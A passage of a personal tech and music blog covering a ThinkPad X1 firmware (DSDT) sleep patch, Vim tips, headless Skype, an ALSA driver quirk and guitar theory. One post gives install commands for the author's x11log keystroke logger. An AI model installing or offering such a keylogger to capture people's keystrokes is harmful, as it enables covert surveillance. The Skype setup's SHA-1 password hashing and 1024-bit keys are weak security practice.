Delta Xi

The corporate slide design of the University of Upper Austria changed again - these adaptions are included with release 5 of the beamer template which get be downloaded here. As usual, it includes a simple showcase in both PDF and TEX format as well as the actual template source.

After getting through the amateur radio licensing process some weeks ago, I finally received my CEPT 1 license certificate last week. Just getting started, I got myself a portable radio. I'll start being QRV on 2m/70cm on local repeaters.

If you ever happen to notice a CQ from OE5ESR - well, that's me. By that whole amateur radio thing, I can finally argue that the domain name of my blog actually makes some kind of sense. Maybe going towards HF later that year. Many thanks to OE6PGM for managing the course class, congratulations to my course colleagues OE5SLE and OE5PWO, and of course OE5MKE with whom I've had my first QSO with.

With numerous recent laptops (including the X1), Lenovo not only changed the connector dimensions of their trackpoint (now called Super- or even Ultra Low Profile) now being incompatible with old ones, but they apparently also discontinued all variants of the trackpoint cap besides Soft Dome. That's a shame, since I'm a dedicated trackpoint-only user and I really hate Soft Dome. I'm more of a Classic Dome guy, since it's smaller in diameter (better for scrolling) and provides much more grip.

I didn't know how to help myself besides leaving my comfort zone (software) and trying to actually working with my hands. I kind of transformed my Soft Dome to something Classic Domey, and it works like a charm. Does it look ugly? Sure. But it performs exceptionally well and feels almost exactly as the Classic Dome - the grip is even better.

I'll try red or black sand next time, if I get lucky to find some.

Update 12/09: Finally, with the newly released UEFI version 1.30, Lenovo officially added the ACPI S3 sleep state specifically for Linux systems as opt-in BIOS setting. Thanks to Volkar for this info.

UEFI: 1.30 / ECP: 1.08
- (New) Support Optimized Sleep State for Linux in ThinkPad Setup -
        Config - Power. (Note) "Linux" option is optimized for Linux OS,
        Windows user must select "Windows 10" option.

Update: The procedure also works for the X1 Yoga Gen3 (thanks to Ran for confirming). This patch is said to work. However, you can always go without a working patch file, see Plan B on how to proceed.

If you own a Lenovo X1 6th generation and want to use Linux, you're not going to be happy from the start. The entire range of hardware works splendidly and almost out of the box (let alone the fingerprint reader), but Lenovo decided to make one major change in the new UEFI firmware image. They removed traditional deep sleep (ACPI S3 sleep state) in favor of a new, Microsoft-driven sleep state called Windows Modern Standby, aka Si03. This sleep state doesn't fully turn off all components except for main memory, but puts the devices themselves into an ultra low-power state. This way, much like modern smartphones do, some devices can briefly wake up particular components of the system - most notably communication devices. The idea is, to have an always-connected feature, to e.g. download updates while sleeping or stay connected to a WiFi during sleep. This may or may not be preferable idea, but for me it is not.

On the Intel Core architecture, Linux doesn't deal with Si03 too well (as opposed to Intel Atom CPUs) and suspend energy consumption is around 4 watts on the X1, which is extremely high and won't even give you a single day of suspend time.

Luckly, together with great help from a few hackers from the Arch Linux forums (especially Ranguvar for sorting things out and fiji-flo for the working patch), we could establish a workaround. The idea is to patch the DSDT tables, a part of the ACPI firmware, written in ACPI machine language (a freakish place). Using that patch, sleep energy consumption drops from 4 to 0.15 watts on my machine.

If you follow this guide, no one is responsible for any damage to your hardware or any other kind of harming your machine. However, we didn't hear a single report of such cases as of now, and it works fine for all of us who tried it and reported to us.

The following steps should guide you to how you can do it yourself.

1. Reboot, enter your BIOS/UEFI. Go to Config - Thunderbolt (TM) 3 - set Thunerbolt BIOS Assist Mode to Enabled. It has also been reported that Security - Secure Boot must be disabled.

2. Install iasl (Intel's compiler/decompiler for ACPI machine language) and cpio from your distribution.
3. Get a dump of your ACPI DSDT table.

     # cat /sys/firmware/acpi/tables/DSDT > dsdt.aml
   

4. Decompile the dump, which will generate a .dsl source based on the .aml ACPI machine language dump.

     $ iasl -d dsdt.aml
   

5. Download the patch and apply it against dsdt.dsl:

     $ patch --verbose < X1C6_S3_DSDT.patch
   

   Note: Hunk 6 may fail due to different specified memory regions. In this case, simply edit the (almost fully patched) dsdt.dsl file, search for and entirely delete the two lines reading solely the word "One". You can look at hunk 6 in the patch file to see how the lines above and below look like if you're unsure.

   Plan B: If this does not work (patch is rejected): It has been the case, that certain UEFI settings may lead to different DSDT images. This means that it may be possible that the above patch doesn't work at all with your decompiled DSL. If that is the case, don't worry: Go through the .patch file in your editor, and change your dsdt.dsl by hand. This means locating the lines which are removed in the patch and removing them in your dsl. The patch contains only one section at the end which adds a few lines - these are important and make the sleep magic happen.

6. Make sure that the hex number at the end of the first non-commented line is incremented by one (reading DefinitionBlock, should be around line 21). E.g., if it was 0x00000000 change it to 0x00000001. Otherwise, the kernel won't inject the new DSDT table.

7. Recompile your patched version of the .dsl source.

     $ iasl -ve -tc dsdt.dsl
   

8. There shouldn't be any errors. When recompilation was successful, iasl will have built a new binary .aml file including the S3 patch. Now we have to create a CPIO archive with the correct structure, which GRUB can load on boot (much like initrd is loaded). We name the final image acpi_override and copy it into /boot/.

     $ mkdir -p kernel/firmware/acpi
     $ cp dsdt.aml kernel/firmware/acpi
     $ find kernel | cpio -H newc --create > acpi_override
     # cp acpi_override /boot
   

9. We yet have to tell GRUB to load our new DSDT table on boot in its configuration file, usually located in /boot/grub/grub.cfg or something similar. Look out for the GRUB menu entry you're usually booting, and simply add our new image to the initrd line. It should look somewhat like that (if your initrd line contains other elements, leave them as they are and simply add the new ACPI override):

     initrd   /acpi_override /initramfs-linux.img
   

   Note: You will need to do this again when your distribution updates the kernel and re-writes the GRUB configuration. I'm looking for a more automated approach, but was too lazy to do it so far.

10. Moreover, GRUB needs to boot the kernel with a parameter setting the deep sleep state as default. The best place to do this is /etc/default/grub, since that file is not going to be overwritten when the GRUB config becomes regenerated. Simply add mem_sleep_default=deep to the GRUB_CMDLINE_LINUX_DEFAULT configuration option. It should look somewhat like that:

      GRUB_CMDLINE_LINUX_DEFAULT="quiet mem_sleep_default=deep"
    

11. Reboot.

If everything worked, you shouldn't see any boot errors and the kernel will confirm that S3 is working. The output of the following commands should look the same on your machine:

  $ dmesg | grep ACPI | grep supports"
    [    0.213668] ACPI: (supports S0 S3 S4 S5)
  $ cat /sys/power/mem_sleep
    s2idle [deep]

In most setups, simply closing the lid will probably trigger deep sleep. If you're using a systemd-based distribution (most of which are), you can also verify if it works on the command line:

  $ systemctl suspend -i

Once again, many thanks to Ranguvar for the great collaboration on the Arch forums, and to fiji-flo for managing to hack the first fully working patch. Also, to whomever wrote the article on DSDT patching in the glorious Arch Wiki. And the entire Arch community in general, you're wonderful.

Is it 2017 already? Time for a update for the Beamer template. Widescreen is supposedly the new thing, so here we go. The base template has been updated to reflect the corporate design somehow, see yourself. Headline is now smaller to allow more content to be placed. A lot of new macros have been added through the years (almost none of them documented in a sane way). There's support for slides with code listings, triple-pages, tabular cell colors, algorithms, custom color names, crazy bubbles, easily aligned equations and lots of fixes.

Moreover, it now uses regular OTF and TTF fonts by default which are shipped with the archive (SIL licensed only) due to xelatex replacing pdflatex.

The current version 4 of the template can be downloaded here. It includes a simple showcase, in both PDF and TEX format as well as the actual template source. It's easy to use and modify, so grab it and make your slides smile.

The x11log source has been slightly updated, and its repository has moved from launchpad to Github. There probably won't be custom Ubuntu package builds in the near future, although I'll do my best to keep the /debian/ subdirectory reasonably up to date. However, x11log is now available via the Arch User Repository.

Latex beamer is a wonderful way for hacking slide-sets. However, using only the original beamer package, the source-code for slide-sets can become quite extensive and therefore hard to navigate through.

That's why I wrote a small tex template, uncreatively called FH Beamer Template. It's super-easy to use and will save you a lot of time, not building tons of nested begin/end environments and many other things. Many heavily-used tasks usually required for professional slide-sets are provided via shortcuts, by defining new commands and macros (usually prefixed with \fh) to make your life easier with Latex.

The current version 3.0 of the template can be downloaded here. It includes a simple showcase, in both PDF and TEX format as well as the actual template source. It's easy to use and modify, so grab it and make your slides smile.

I was assigned a full professorship for Mobile Computing at the University of Applied Sciences Upper Austria, Campus Hagenberg. Let's teach them students some security ;)

A few months ago, I decided to enroll for OSCP certification, by scheduling the Penetration Testing with Kali Linux (PWK) course. After a spending a considerable amount of time in Offensive Security's hack-labs, the day of the ming-bending 24h-exam has come. The exam was actually harder than expected, but required nothing one would not have came along during PWK - which, however, also included the really tricky hosts to own.

I hacked almost the entiry lab network in a rather short time period due to extraneous circumstances, but during that time frame, I basically had no life. It was exciting, challenging, eye-opening. OSCP follow a superb certification methodology previously unseen in the landscape of security certifications. OffSec did an outstanding job designing the lab environment, and I will surely continue that path, longing for OSCE sooner or later.

TLS is tricky these days :)

In today's Forschung Spezial (research section) of Austrian newspaper DerStandard, journalist Katharina Mittelstaedt published an interview with me concerning the current state of my research, and concerns it may not help struggling with. The article was published in today's regular print edition and has recently been made available online.

Another paper on digital watermarking of information systems has been accepted for publication in the International Journal on Applied Mathematics & Information Sciences. It resembles this paper, providing further refinements and advancements.

This is the perfect love story. We met 15 years ago, and at was love at first sight. As of now, there's basically no text processing task I wouldn't prefer to accomplish with Vim: From editing configuration files, typesetting LaTeX documents to regular programming. I can't think of an editing approach more efficient than Vim's modal concept.

Over the years, my .vimrc configuration file has reached a point where I wanna share it with you. The file is well-structured and is supposed to be self-explanatory. Feel free to do with it whatever you want.

You can download the entire .vim directory here, which also includes the .vimrc (don't forget to symlink or copy it directly into your home directory).

What do do from here:

• Download the archive
• Unpack it (the .vim directory) in your home direcotry
• Either copy .vim/vimrc to your home and prefix a dot, or better symlink it via ln -sf .vim/vimrc .vimrc
• Open Vim and have fun!

To avoid errors, you should also install the exuberant-ctags package, or comment the corresponding line in your Vim configuration file.

There is a built-in Vim cheat-sheet available with the Ex command :Cheat - it will open a new Vim vertical split window showing some really tricks and hints regarding Vim commands. Here is an excerpt from the cheat sheet (which has nothing to do with the vimrc):

# vim: set sw=8 ts=8 sts=8 :
# Vim cheat sheet
# ---------------------------------------------------------------
# Version: v1.6
# Author: Erik Sonnleitner <es a|t delta-xi.net d0t net>
# ---------------------------------------------------------------

:Cheat                # show cheatsheet

# Using vim help
:h                    # open Vim help
<C-]>                 # follow help link
<C-T>                 # unfollow/back

# Movement, Goto and/or find position
h j k l               # basic movement, you should know this anyway
gj gk                 # virtual move (within same line with linebreaks)
fX                    # goto next occurrence of X in current line
; ,                   # re-execute last f-search forward/backward
%                     # go to matching parantheses/brackets/tags/etc
* #                   # find next/prev occurence of word under cursor
mk                    # mark pos as 'k'
'k                    # goto mark k
:marks                # list existing marks (local + global)
gm                    # goto middle of screen line (horizontally)
g; g,                 # trace change-history
<C-Y> <C-E>           # scroll up/down linewise
<C-D> <C-U>           # scroll up/down half a screen
<C-F> <C-B>           # scroll up/down a whole page

# Completion
<C-n> <C-p>           # word completion next/prev
<C-x><C-l>            # line completion
<C-x><C-o>            # omni completion
<C-n> <C-p>           # pop-up: select next/previous match in list
<C-e>                 # pop-up: revert completion, restore text

# Folding
zf                    # create fold
zf/pattern            # fold until pattern machtes
zc                    # unfold

# Arithmetics
<C-a> <C-x>           # inc/dec number under cursor
-10<C-a>              # subtract next number in current line by 10
<C-r>=2+4             # in insert mode: calculate and paste result

# Recording macros
qX                    # start recording to reg X
q                     # end recording current macro
@X                    # replay record of register X
@@                    # replay last recorded marcro

# Command execution
:!pwd                 # execute command in shell
!!pwd                 # execute & paste output (same as :.!cmd)

# Vim windows
<C-w>s <C-w>v         # split window horizontally/vertically
<C-w>_                # full-screen vi-window
<C-w>=                # equalize windows
<C-w>jkhl             # switch to window
<C-w>JKHL             # move window to left/right/up/down location
<C-w>T                # close window and open in separate tab

# Visual mode
v V <C-v>             # char-wise, line-wise, block-wise visual modes
o                     # in VM: toggle line ends

# Neat/Unsorted
:X                    # encrypt file (be sure to set enctype in vimrc)
:noh                  # Unhighlight
:%!xxd                # go hex, -r to revert
:mksession NAME       # define a session
:w !sudo tee %        # sudo save
:earlier 15m          # restore file as it was 15mins ago
zz                    # move line to middle of screen
"+                    # x11 clipboard buffer register
q:                    # browse ex-command history
q/                    # browse search history
:tabfind <pattern>    # search files for pattern and open in new tab
:changes              # show list of changes
:jumps                # show list of jumps
:reg                  # show register contents
10@a                  # run macro 'a' 10 times in series
:'<,'>norm @a         # run macro 'a' across selected lines in parallel
/\v(abc|def){2}$      # omit escapings in regexes with '\v' prefix
\Va.k.a               # auto-escape everything (. is no placeholder!)
@:                    # repeast last Ex command

# During Insert mode
<C-w> <C-u>           # delete last word/sentence
<C-o>                 # execute 1 normal-mode command and return
<C-r>{register}       # paste contents of register

The config is supposed to be updated constantly. Have fun!

Ubuntu 12.10 (Quantal) packages of the x11log keylogger are now available on my Launchpad PPA. It finally ships with a Unix manpage and provides better automatic recognition of the primary X11 $DISPLAY to log keystrokes from.

Installing packages from the PPA is really easy:

$ sudo apt-add-repository ppa:esonn/x11log
$ sudo apt-get update
$ sudo apt-get install x11log

Skype is a huge mess. It's proprietary, the GUI client is poorly designed and only available with QT, and there is no native 64bit Linux build. Implementation specifics concerning crypto routines make it virtually impossible to reverse engineer the code and develop an open client. Therefore, no true alternative client exists, although open-source support (or at least freely usable libs) would have been announced years ago.

However, unfortunately, Skype has become a widely used de-facto standard software among instant messaging and VoIP. Here are the instructions for running Skype on a headless Linux server, make it interact with Bitlbee and use Skype directly from within Irssi (or your favourite IRC client), specifically for an Ubuntu Server 64bit installation.

The workflow at a glance: Irssi connects to Bitlbee, which connects to Skype4Py (a Skype gateway/DBUS translator), which connects to the Public Skype API of the local Skype binary, which actually communicates with the Skype servers. In order to run Skype headless, we run the Skype binary in a virtual Xserver using xvfb-run. You won't need X11 or Xorg to do this.

1. Install software components

• Install required packages from the distro. In Ubuntu, run aptitude install -R x11vnc screen xvfb-run dbus-x11 python-gnutls asciidoc libqt4-dbus libqt4-network libqtcore4 libqt4gui. For other distros, install the corresponding packages. You don't need to install X11 or Xorg!
• Get bitlbee from your distribution or build it from source. Skype-support is built-in as of Bitlbee version 3+, but some distros don't yet provide the new versions in their repositories. You either can build it from source (recommended), or you use your distro's version and additionally install the bitlbee-plugin-skype package separately, which provides Skype support as plugin for older Bitlbee versions.
• Get Skype4Py and build it from source. Decompress, cd to the Skype4Py directory an run sudo python setup.py install
• Get the original Skype binary package. I used the dynamic package, so you're more independent from your distro. I suggest you decompress the archive to /opt/skype/.
• 64-bit users only: Make sure you have ia32-libs installed. Currently, only one required library isn't included in ia32-libs, namely libphonon4. In order to get this working, get the libphonon Ubuntu package, open in archive-manager and only extract the libphonon.so.4 library to your Skype directory (e.g. /opt/skype), without actually installing the package.

2. Configure Skype4Py

Place the following code in ~/.skyped/skyped.conf, and change username and password. The password is generated on the shell via echo -n yourskypepassword|sha1sum:

[skyped]
# your skype username
username = skypeuser
password = hashedskypepassword
cert = /home/youruser/.skyped/skyped.cert.pem
key  = /home/youruser/.skyped/skyped.key.pem
port = 2727

[req]
default_bits = 1024
distinguished_name = SkypedServer

[SkypedServer]
countryName = AT
countryName_default = AT
countryName_min = 2
countryName_max = 2

Then, go to ~/.skyped/ and generate your certificate by running openssl req -new -x509 -days 3650 -nodes -config skyped.conf -out skyped.cert.pem -keyout skyped.key.pem

3. Initial startup and configuration

• Start a new screen session by calling dbus-launch screen -S skype.
• Start Skype using LD_LIBRARY_PATH=/opt/skype xvfb-run -n 0 -s "-screen 0 800x600x16" /opt/skype/skype
• Then, start Skype4Py in a new terminal (screen command: Ctrl-A + C), and start skyped: skyped --nofork -d (the arguments are not necessary, but will help you if something goes wrong).
• Fire up another terminal, and temporarily run a VNC server by calling x11vnc -display 0
• At your local machine, connect to the VNC server: vncviewer <yourserver> and log yourself into Skype as usual.
• Fire up Irssi (or any other IRC client), connect to Bitlbee and add your Skype account:
  account add skype <username> <password>
  account skype set port 2727
  account skype set server localhost
  account 0 on

• In your open VNC window running skype, a DBUS message should appear, asking for permission for Skype4Py to access the public Skype API of your client installation. Accept it. Once this has been done, you can quit VNC client and server, you won't need them anymore.

4. Have fun chatting

That's all. You don't necessarily have to use screen, although I recommend it. For using Skype through Bitlbee, make sure the native Skype binary (using xvfb-run) and Skype4Py (the skyped binary) are running before you try to connect in Bitlbee.

Update: You can omit all VNC-related stuff if you modify your Skype config manually. Open ~/.Skype/username/config.xml, go to node config->UI->API and change the Authorizations line to <Authorizations>Skype4Py</Authorizations>, save and exit.

Lately, I was presenting a paper (being part of my PhD thesis) at IEEE-AESS in Rome, participating at the IEEE Security & Privacy Special Track on Oct 4th, entitled A robust watermarking scheme for large databases. It incorporates a novel approach towards watermarking relational databases in a blind, robust and reversible manner, and supporting a requirement inevitable especially for large databases: Incremental watermarking. The full paper will be available via this very post sooner or later. The paper is available via IEEE Xplore.

XML made its way since almost 15 years now. And although seemingly everybody is using XML nowadays (mainly because the W3C recommendation), I didn't meet any developer forced to use XML without completely messing around with its excesses.

This is reasoned in the way XML was sold to us, as the ultra-simple human-readable all-rounder in terms of data storage. The following things are particularly fun:

• Messing around with incompatible parsers, APIs, implementations, etc
• Messing around with empty strings, whitespaces and NULL values
• Messing around with technologies you did not want to use/learn/mess up, like XPath, XQuery, XSLT, XProc, XInclude, and so on... some of these get really complicated, even to do simple stuff.
• Messing around with encodings: Try to store an XML document on your favourite filesystem in a different encoding than what appears in your XML header. And don't even think of your clients...
• XML canonicalization is "ready" for over a decade, but good luck getting into it.
• Tons of applications nowadays use XML for their configuration files. Not only that key=value pairs would suffice in estimated 95 percent of all cases, but they can get you in considerable trouble: Try to versionize your XML configuration (hint: added/deleted/renamed attributes are especially fun to deal with). Try to always store your configuration pretty-printed (configs are supposed to be editable, aren't they?).
• XML Namespaces. I don't even comment those. Don't get me wrong, namespaces are a good idea in theory, but the common usage in real-life make things more difficult and complex.
• Who needs obligatory entity references in the wonderful world of Unicode? Utilizing different character sets (like iso8859-1 aka latin1) is pointless as processors are not required to support them.

And in case you think you know the XML ecosystem, I'd refer to the landscape by Kenneth Sall (note that this is from 2003):

To keep a long story short: The XML ecosystem suggests apparent simplicity, but offers enormous internal complexity, which will make you cry. It is like a Kraken with dozens of tentacles. If you still don't believe me, at least believe Linus.

A few months ago, I bought an Orange Dual terror guitar amp, which is an amazing small-scale 30 watts dual-channel tube amp. Although the sound is utterly powerful and aggressive, it lacks an FX loop feature which is crucial for my playing.

Some 20 minutes of research later, I found out that Jule Amps do custom mods for Orange amps, including the Dual Terror, and also do a posteriori FX loops. However, the homepage says: Because of the design of the Dual Terror, the effects loop must go on either the FAT or the Tiny Terror channel. It will not work with both. What a pity.

I subsequently contacted the guys at Nepomuk Amps, a small Austrian company which builds excessively high-end handmade guitar amps and cabinets. These guys not only added a high-quality FX loop to my Dual Terror, but they even managed to get the thing done on both channels, using a relay which switches according to what channel is currently active. Moreover, they modified the channel-selector foot switch to support dual-switches, whereas one is (like originally intended) for channel switching, and one for activating and deactivating the FX loop circuit, regardless of which channel is active.

On the top right corner, you can see they even squeezed in an additional tube for the loop return, which is an amazing thing due to the small size factor of the amp. This gives the amp zero signal loss using the effects loop, while still being 100% analogue.

Huge thanks to the guys at Nepomuk!

Did you ever get confused reading chord names like F#m6add9 or Ab°sus2sus4? Well, me too. This is why you should have a look at some basic theory on how guitar chords are constructed in a very easy way.

Let's get started

First of all, a basic chord is a triad - just three notes played simultaneously. Since most scales consist of 7 tones (to the next octave, selected from the 12-tone chromatic scale), we can easily say what tones (or steps) are needed for a particular chord (e.g. a basic major chord consists of steps 1 3 5, so for C major, this would be C E G).

There are only four basic triads, all other chords are derived from:

 Major:        1  3  5
 Minor:        1 b3  5
 Augmented:    1  3 #5
 Diminished:   1 b3 b5

Extensions

Next, we extend these basic chords. The most common extensions are to the 7th, 9th, 11th and 13th step, resulting in chords like C7 or A9. (Note: The '_' character in the following listings is a placeholder for the basic chord name). We distinguish between the Dominant (e.g. C7), the Major (e.g. Cmaj7) and the Minor (C7) chords here.

 _7:      1  3 5 b7
 _maj7:   1  3 5  7
 _m7:     1 b3 5 b7

So Cmaj7, e.g. would result in C E G B. In the same way, we can also construct chords with the 9th, 11th and 13th tone, but note that these extensions must necessarily include the 7th step as "carrier" anyway (this is why the 7 isn't separately noted in the chord name). On the other hand, if extending to 11, playing the 9th is optional, and if extending to the 13th, playing 9 and/or 11 is optional.

 _9:      1 3 5 b7  9
 _11:     1 3 5 b7 (9)  11
 _13:     1 3 5 b7 (9) (11) 13

Even more extensions

Of course, we can do these extensions with all four basic traids, namely major, minor, augmented and diminished. Diminished chords are usually noted with a ° (or 'dim'), while augmented chords are noted with an + character (or 'aug'):

 _maj9:  1 3 5 7  9                  _m9:   1 b3 5 b7  9
 _maj11: 1 3 5 7 (9)  11             _m11:  1 b3 5 b7 (9)  11
 _maj13: 1 3 5 7 (9) (11) 13         _m13:  1 b3 5 b7 (9) (11) 13
 
 _°7:    1 b3 b5 bb7                 _+7:   1 3 #5 b7
 _°9:    1 b3 b5 bb7  9              _+9:   1 3 #5 b7  9
 _°11:   1 b3 b5 bb7 (9)  11         _+11:  1 3 #5 b7 (9)  11
 _°13:   1 b3 b5 bb7 (9) (11) 13     _+13:  1 3 #5 b7 (9) (11) 13

Suspensions

Suspended chords are chords where the 3rd note is replaced with the 2nd or 4th (note that these chords are therefore never major or minor).

 _sus2:      1 2 5
 _sus4:      1 4 5
 _sus2sus4:  1 2 4 5
 _sus:       1 4 5 b7   (aka _7sus4)

Alteration and Addition

Alterations are chords with altered notes, which directly emerge from the chord's name. An example would be Cm7#5 - obviously a Cm7 chord, with a #5 instead of 5. Alterations are usually self-explanatory and can alter arbitrary notes, but the most common ones include b5, #5, b6, b9, #9, #11, b13.

Moreover, there are add-chords which actually add a notes instead of altering one. Some examples would be:

 _add9
 _(9)

Here, the given notes will always be played in addition to the original chord - anyway, those additional notes are mostly enharmonic anyway.

Conclusion

With those few rules, you can construct virtually any chord on your guitar. Anyway, you may want to be careful with exotic constructions (e.g. via alterations), since they may put your chord out of key (which doesn't necessarily mean that it doesn't sound good). Enjoy!

The amazing newest model of the famous Boss GT series has recently been released by Roland, called the GT-100. It's not functional on Linux out of the box, so ALSA has to be tweaked in order to get it working as USB in/out sound interface which also supports MIDI.

The chipset itself isn't entirely new, but the USB device ID changed, which is the reason for Linux not readily recognizing the floorboard.

Get your kernel source and head to the ALSA USB headers and edit the quirks table for USB interfaces:

cd /usr/src/linux-source-`uname -r`/sound/usb
vi quirks-table.h

According to lsusb -v its device ID is 0582:014d, so we simply add a new entry to the end of the tables header:

{
    USB_DEVICE(0x0582, 0x014d),
    .driver_info =
      (unsigned long) & (const struct snd_usb_audio_quirk) {
        .ifnum = QUIRK_ANY_INTERFACE,
        .type = QUIRK_COMPOSITE,
        .data = (const struct snd_usb_audio_quirk[]) {
            {
                .ifnum = 1,
                .type = QUIRK_AUDIO_STANDARD_INTERFACE
            },
            {
                .ifnum = 2,
                .type = QUIRK_AUDIO_STANDARD_INTERFACE
            },
            {
                .ifnum = 3,
                .type = QUIRK_MIDI_FIXED_ENDPOINT,
                .data = & (const struct snd_usb_midi_endpoint_info) {
                    .out_cables = 0x0001,
                    .in_cables  = 0x0001
                }
            },
            {
                .ifnum = -1
            }
        }
    }
},

We don't need to compile the whole new kernel, just the USB sound modules. Remember that these commands will need root privileges.

make -C /usr/src/linux-headers-`uname -r` M=`pwd` modules
make -C /usr/src/linux-headers-`uname -r` M=`pwd` modules_install
depmod -a
update-initramfs -u

The very last step is only needed if you want your newly patched module during the boot process. Note: There is a very interesting OSS project called FxFloorBoard, already offering a development preview for managing the GT-100, although it's not quite working with the new device at this time. I'm really looking forward to this piece of software in the near future. Enjoy!

Update: The code has finally made its way to the official ALSA kernel sources. So you either compile ALSA from Git or wait until your distribution includes the kernel, but this may still take a while.

In the unlikely case of you having accidentally activated Facebook timeline and still searching for some cover picture, feel free to take the one below. Click to enlarge to "timeline-resolution" ;)

This is somehow offtopic - but if you're a guitarist, you may consider having a look.

Do you really know your fretboard? Interestingly, there are plenty of awesome guitarists out there who really know how to pull the strings - playing fast, playing accurate, using exotic techniques. But when it comes to theory of harmonics, incredibly many guitarists throw the towel (at least, that's what I have experienced). Most of them have heard of (and played) different modes, but when you jam around and tell them "Okay Fred, give me some F sharp Locrian lick around this riff", you may run into troubles.

Beyond tapping, sweeping and shredding, your very foundation is the fretboard. As a guitarist, therefore, you should really know your fretboard. Luckily, it's really easy to gain knowledge of all different Modes, how they are played, where you find specific notes, and how to play your favourite keys and modes on the 4th, 9th or 15th fret - or basically, wherever you want.

All you need to do, is to learn the following 7 finger position diagrams by heart. Yes, this may take a few days, but it's a small price to pay compared to what you get.

                              Figure 1

  Nr 3   [E]  Nr 4         [F]  Nr 5        [G]  Nr 6           [A]
  Phrygian    Lydian            Mixolydian       Aolian 
▪|-▪-----▪-- |-▪-----▪-----▪-- |-▪-----▪-----▪- |----▪-----▪--▪•---
▪|-▪•----▪-- |[▪]----▪-----▪-- |[▪]----▪--▪---- |----▪--▪-----▪----
▪|----▪----- |----▪-----▪--▪•- |----▪--▪•----▪- |[▪]-▪•----▪-------
▪|----▪--▪-- |----▪--▪-----▪-- |-▪-----▪-----▪- |----▪-----▪-----▪-
▪|----▪--▪•- |----▪--▪•----▪-- |-▪•----▪-----▪- |----▪-----▪--▪----
▪|-▪-----▪-- |-▪-----▪-----▪-- |-▪-----▪-----▪- |----▪-----▪--▪•---
0  1     3   └ 1     3     5   └ 3     5     7  └    5     7     9

  Nr 7     [B]  Nr 1        [C]  Nr 2         [D] Nr 3      [E]
  Locrian       Ionian           Dorian           Phrygian 
 |-▪--▪•----▪- |-▪•----▪-----▪- |-▪-----▪--▪---- |-▪--▪-----▪--
 |----▪-----▪- |[▪]----▪-----▪- |-▪-----▪--▪•--- |-▪--▪•----▪--
 |-▪-----▪--▪- |----▪--▪-----▪- |-▪-----▪------- |-▪-----▪-----
 |-▪-----▪--▪• |----▪--▪•----▪- |-▪•----▪-----▪- |-▪-----▪--▪--
 |-▪--▪-----▪- |-▪-----▪-----▪- |-▪-----▪-----▪- |-▪-----▪--▪•-
 |-▪--▪•----▪- |-▪•----▪-----▪- |-▪-----▪--▪---- |-▪--▪-----▪--
 └ 7     9  10 └ 8     10    12 └ 10    12    14 └ 12    14 15

 (▪ = relative finger position, [▪] = alternative position, • keynote)

Note: The fret numbers below the guitar tab (and the corresponding mode, given in square brackets next to "Nr") describe C major. This is only for easier understanding - if you know the finger positions, you can play any mode you want.

The 7 diagrams represent the church modes. The modes are independent from certain frets, but once you memorized them you'll be able to play every key you can imagine. The modes are (ignore the square brackets at first):

                              Figure 2

 * Ionian (aka Major Scale)               [      3/4     7/8  FFhFFFh]
 * Dorian                                 [    2/3     6/7    FhFFFhF]
 * Phrygian                               [  1/2     5/6      hFFFhFF]
 * Lydian                                 [        4/5   7/8  FFFhFFh]
 * Mixolydian                             [      3/4   6/7    FFhFFhF]
 * Aeolian (aka Natural Minor Scale)      [    2/3   5/6      FhFFFhF]
 * Locrian                                [1/2   4/5          hFFhFFF]

When you start playing the guitar, you usually start with C Major scale on the lower end of the fretboard (including open strings). Talking about church modes, this would be E Phrygian. Why E you ask? Shouldn't a Major scale be Ionian?

It's simple: When you play [Note][Mode] (like E Phrygian), then [Note] is always the very first note you play. However, if you play in C Major scale (C Ionian), beginning with the open E string, you simply don't start playing a C note - hence, if you wanna play C Major while starting with an open E string, you naturally don't play C Ionian (since you begin with an E) or E Ionian (since this would be E Major then), but E Phrygian.

Why Phrygian? We now know: If you play C Ionian (C Major), you begin with a C. E.g., you start with the 10th fret on the E string (see Fig. 1, No 7). If you wanna reside in C Major scale, but your new solo requires you to play, let's say, 4 frets higher, the first note you play can't obviously be a C again (actually, it's an E). Since the keynote changes, the Ionian scale in Fig. 1 would bring you out of C Major. Therefore, the finger-positions change - to the church mode which starts 4 frets (or half-tones) higher. Look at Fig. 1 and viola: It must be Phrygian (E Phrygian).

Every mode (except exotic ones) is basically picking 7 tones from the chromatic scale (which consists of 12 half-tones, which are one full octave), and choosing specific intervals. The intervals for the Major scale (or Ionian) is

                 full-full-half-full-full-full-half
                C    D    E    F    G    A    H    C

Alternative explanation: So the half-tone steps are between 3/4 and 7/8. If you play C Major and you begin with C, everything's perfectly fine - you're playing C Ionian. But if you wanna play C Major and begin with E, things change. If you play E and follow the scale above, you get E Major. If you want to reside in C Major, you have to change the intervals to F-H-F-F-F-H-F (which is, shifting the intervals one note). So the half-tone steps for C Major (if you start with E), are at 2/3 and 6/7. This is exactly what we call Phrygian (look at the square brackets in Fig. 2!).

Implicitely, if you play C Major starting with the open E string, and play that scale throughout one whole octave, you will run through every single church mode sequentially before again returning to Ionian, where naturally the first note you play is C again.

Playing E major throughout the fretboard, it'll look like this:

D|---1-2---4---6-7---9---
A|-0---2---4---6-7---9---
E|-0---2---4-5---7---9---
   \Ionian-/ .   .   .   
       \Dor.-/   .   .
           \Phry./   .
             \Lydian-/

Beginning with fret 0, we play E Ionian. If we want to begin with fret 2, we play F-sharp Dorian. If we start with fret 4, we play G-sharp phrygian, and so on.

Enough theory: All you need is here..

• Look again at the figure below. Note, that there are no fret numbers - everything you need to know, are the relative finger positions. This way, you can place your finger on any fret you want playing #1, and you can be sure you're playing in the scale of your keynote (which is, the first note in the Ionian mode, and every note in Fig. 1 having a round dot nearby).
• If you want to reside in that scale, but play on a different fret, choose the correct finger position diagram, and you're done.
• Once you know the diagrams by heart, you always know what scale you are playing in just by recognizing the keynotes (dots in the Figure).

                    Figure 1 again (positions only)

 #1: Ionian      #2: Dorian       #3: Phrygian   #4: Lydian
|-▪•----▪-----▪- |-▪-----▪--▪---- |-▪--▪-----▪-- |-▪-----▪-----▪--
|[▪]----▪-----▪- |-▪-----▪--▪•--- |-▪--▪•----▪-- |[▪]----▪-----▪--
|----▪--▪-----▪- |-▪-----▪------- |-▪-----▪----- |----▪-----▪--▪•-
|----▪--▪•----▪- |-▪•----▪-----▪- |-▪-----▪--▪-- |----▪--▪-----▪--
|-▪-----▪-----▪- |-▪-----▪-----▪- |-▪-----▪--▪•- |----▪--▪•----▪--
|-▪•----▪-----▪- |-▪-----▪--▪---- |-▪--▪-----▪-- |-▪-----▪-----▪--

#5: Mixolydian   #6: Aolian          #7: Locrian 
|-▪-----▪-----▪- |----▪-----▪--▪•--- |-▪--▪•----▪- 
